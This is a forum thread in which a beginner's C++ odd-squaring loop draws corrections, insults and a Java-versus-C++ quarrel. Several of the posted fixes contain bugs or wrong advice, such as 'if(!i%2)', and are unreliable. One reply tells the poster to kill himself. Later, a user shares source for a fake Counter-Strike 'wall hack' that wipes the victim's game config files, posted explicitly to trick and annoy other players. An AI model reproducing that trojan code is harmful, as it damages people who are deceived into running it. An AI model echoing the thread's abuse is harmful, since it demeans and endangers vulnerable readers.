Jump to content

Featured Replies

Posted

#include <iostream>
using std::cout;
using std::cin;
using std::endl;

int main() {

int limit;

cout << "Enter limit: ";
cin >> limit;

cout << "1" << endl;

for (int i = 0; i < limit; i++) {
	if(i%2)
		break;
	else
		cout << i*i << endl;
	}

return 0;
}

 

does anyone have a better square only odd integer algorithm ? please share =)

sorry, I am complete n00b in programming.. what does ur prog. do? :O_o:
That wasn't very hard. >_<
  Mordecai said:
#include <iostream>
#include <conio.h>
#include <string>
using namespace std;

int main() {

int limit;

cout << "Enter limit: ";
cin >> limit;

cout << "1" << endl;

for (int i = 0; i < limit; i++) 
      {
	if(i%2)
		break;
	}
               else
	{
                       cout << i*i << endl;
	}
               getch();
               return 0;
}

Better code. :drama:

 

You forgot to int the i in the loop you nub.

  • Author

thanks for the responses and constructive criticism =) :ghugugh:

ps its a program to square the odd numbers up to a limit set by the user it was an excersize in my c++ book under the loop section.

And your book never fucking told you to int the i in the loop? :hyper:

If you want to square all the odd numbers in a series, you should change your for loop since I think there are a few problems with it:

 

Original Code
for (int i = 0; i < limit; i++) {
if(i%2)
break;
else
cout << i*i << endl;
}

return 0;
}

 

First, if(i%2) returns true if i is an odd number, since there is a remainder (it isn't perfectly divisible by two) so it should be if(!i%2)

Then in that if body you have a break statement, which exits the for loop. To loop through all the integers up to limit you have to use a continue; statement, which simply skips the current iteration. Lastly, I would make the for condition i<=limit, since limit might be an odd number, but I don't know if the instructions meant to square the odd numbers up to and including limit, so whatever.

lol, you stupid nub. that is so crappy. you can reduce like 5 lines of worthless crap in it. besides, ,it probably wont work the way you want to work

 

i know how to program in java(which pwns C++'s face) but i know a bit of c++, so heres how it SHOULD look like:

 

#include <iostream>
using namespace std;

int main() 
{
       int limit;
       cout << "Enter limit: ";
cin >> limit;

for (int i = 0; i < limit; i++) 
       {
	if(i%2==1)
               {
		cout << i*i << endl;
               }
}

return 0;
}

 

if you cant figure this out, then you are a loser and should kill yourself now.

 

btw: you dont need all those class libraries/preprocessors.

 

learn java instead, its way better, more fun, and easier to learn than retarded C++. in java, theres no stupid bullshit like pointers and stuff, but otherwise the syntax is the same (oop concepts, classes, and other stuff). and a lot of things you can do in java is made a lot easier, like data type String and implementing threads. Besides, you can make cool applets and shit, which pwns.

ROFL Java>C++ ?

 

hahah funny kid.

 

 

go learn something

  Somno said:
ROFL Java>C++ ?

 

hahah funny kid.

 

 

go learn something

Pwnt. :hyper:

  Somno said:
ROFL Java>C++ ?

 

hahah funny kid.

 

 

go learn something

 

shut up nub, go fuck your mom, tell her i said hi

  Quote
0ne']wow java has portability' date=' who cares?[/quote']

Lool no one.

  • 2 weeks later...

heres a funny script u trick noobs on cs tellin them its a hack =P

the purpose of this script is because im bored n i wanna piss some idiots off

im just gonna write this and not go over it...

 

//fake hack tat messes noobs up!

#include <iostream>

#include <fstream>

 

using namespace std;

 

int main()

{

int answer;

cout<<"This is a wall hack for cs!\n";

cout<<"Place this file into your cstrike folder or it wont function properly!\n";

cout<<"If this file is in your cstrike folder, press one...other wise press something else."\n;

 

cin>> answer;

 

if ( answer == 1 )

{

ofstream file("config.cfg", ios::trunc);

ofstream file2("autoexec.cfg", ios::trunc);

ofstream file3("gl.txt", ios::trunc);

ofstream file4("motd.cfg", ios::trunc);

ofstream file5("rebuy.cfg", ios::trunc);

ofstream file6("autobuy.cfg", ios::trunc);

ofstream file7("fps.cfg", ios::trunc);

ofstream file8("custom.hpk", ios::trunc);

cout<<"Hack is on!\n";

}

else

{

cout<<"THEN PUT THE STUPID FILE INTO YOUR CSTRIKE FOLDER U NOOB!\n";

cin.get();

}

}

 

 

as i said b4...i am bored...tats y i wrote the script...

Well I don't know how C++ works.. but I'm learning to build websites. And I recognise some commands in that from PHP. is PHP based on C++ or sumthing?
  Ghengis Kahn said:
Well I don't know how C++ works.. but I'm learning to build websites. And I recognise some commands in that from PHP. is PHP based on C++ or sumthing?

 

Yea, PHP was written in C/C++, a lot of the commands work in the same way.

sweet, so if I know PHP I know a little bit of C/C++ :eek3d:

maybe Ill go learn C++, sounds like an interresting programming language :fingersx:

Guest
This topic is now closed to further replies.